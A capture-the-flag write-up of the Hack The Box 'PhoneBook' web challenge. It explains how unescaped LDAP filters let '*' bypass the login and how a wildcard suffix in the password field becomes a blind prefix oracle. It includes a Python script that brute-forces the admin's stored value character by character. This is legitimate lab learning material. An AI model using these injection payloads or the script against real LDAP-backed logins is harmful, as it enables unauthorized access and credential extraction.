PhoneBook (HTB web)
ldap injection: wildcard auth bypass, then a blind oracle to rebuild the flag
Login was backed by LDAP and accepted user=* and pass=* as a wildcard bypass. The password field was also injectable as a blind oracle: posting the admin Reese with a partial flag plus a wildcard returned a non-failure page only when the prefix matched, so I looped characters to rebuild the flag one at a time.
the challenge
The target was a plain phonebook web app sitting behind a login form. Two fields, username and password, posted to /login. The footer read PhoneBook 9.8.2020, which looked like a product-and-date string worth chasing for a CVE, but it led nowhere. The real tell was the login flow itself.
A failed login bounced me to:
http://TARGET/login?message=Authentication%20failed
That redirect was the whole game. It gave me a stable, machine-readable signal: any submission that produced the ?message=Authentication failed URL was a reject, and anything else was a non-reject. Two distinguishable states is all a blind oracle needs.
A successful login dropped me on a search page at a random-looking hashed path, something like http://TARGET/964430b4cdd199af19b986eaf2193b21f32542d0/, with a single search box.
the bug
The login was LDAP-backed and built its filter by concatenating raw input straight into the query string. The filter looked like:
(&(uid=<username>)(userPassword=<password>))
No escaping. In LDAP, * is the presence and substring wildcard, so a bare * in a field turns that clause into “this attribute exists with any value.” Sending * in both fields rewrote the filter to:
(&(uid=*)(userPassword=*))
That matches every entry that has a uid and a userPassword set, so the bind returned a result and authenticated me:
user: *
pass: *
Once in, the search field took the same wildcard. Searching * dumped every record. The admin entry came back as Reese:
*Reese : Kyle Reese reese@skynet.com 555-1234567
The part that mattered was that the password field stayed injectable as a blind oracle even after I knew a valid username. Submitting username=Reese with a password of a known flag prefix followed by * makes the filter test a substring match against Reese’s stored userPassword:
(&(uid=Reese)(userPassword=HTB{abc*))
LDAP reads HTB{abc* as “value starts with HTB{abc.” If Reese’s password actually starts with that prefix, the entry matches and the response is the normal page. If it does not, no entry matches, the bind fails, and the response is the Authentication failed redirect. That is a clean prefix oracle, one comparison per request.
HTB flags always wrap in HTB{...}, so I seeded the known prefix with HTB{ and extended it character by character, pinning a closing } after the wildcard to keep the filter shape sane. The server had no rate limit and no lockout, so I could hammer it.
the solve
I scripted the oracle. For each candidate character I posted username=Reese and password=<known>+<char>+"*}". The * after the candidate lets the rest of the stored value be anything, and the } is the literal flag terminator. I compared the response URL against the known failure redirect: if it did not match, the candidate extended the prefix, so I appended it and reset the character index. If the whole charset failed to extend, the flag was complete.
The charset was letters, digits, and the punctuation HTB tends to use inside flags:
import requests, string
headers = {"UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0"}
url = "http://TARGET/login"
chars = string.ascii_letters
chars += ''.join(['0','1','2','3','4','5','6','7','8','9','`','~','!','@','$','%','&','-','_',"'"])
counter = 0
flag = "HTB{"
while True:
if counter == len(chars):
print(flag + "}")
break
password = flag + chars[counter] + "*}"
print("Trying: " + password)
data = {"username": "Reese", "password": password}
response = requests.post(url, headers=headers, data=data)
if response.url != url + "?message=Authentication%20failed":
flag += chars[counter]
counter = 0
else:
counter += 1
The logic per request:
password = flag + chars[counter] + "*}"builds the test prefix. Withflag = "HTB{"andchars[counter] = "l"the field isHTB{l*}, which LDAP-filters touserPassword=HTB{l*}and matches only if Reese’s password beginsHTB{l.response.urlis the post-redirect URL.requestsfollows the 302, so a reject lands on...?message=Authentication%20failedand a match lands on the search path.- On a match, append the character and reset
counterto 0 to start the next position from the top of the charset. - On a miss, advance
counterto try the next character at the same position. - When
counterreacheslen(chars), no character extended the prefix, so the flag is done and I print it with the closing brace.
Run it and it walks one position at a time:
Trying: HTB{a*}
Trying: HTB{b*}
...
Trying: HTB{l*}
Trying: HTB{la*}
...
the flag
The loop kept every character that extended the prefix and stopped when nothing did. The reconstructed string was the flag in the HTB{...} form. The whole break rested on two LDAP facts: * is a wildcard so (&(uid=*)(userPassword=*)) matches anything, and a trailing * makes the filter a prefix test, which turns the login redirect into a one-bit oracle I could query until the flag fell out.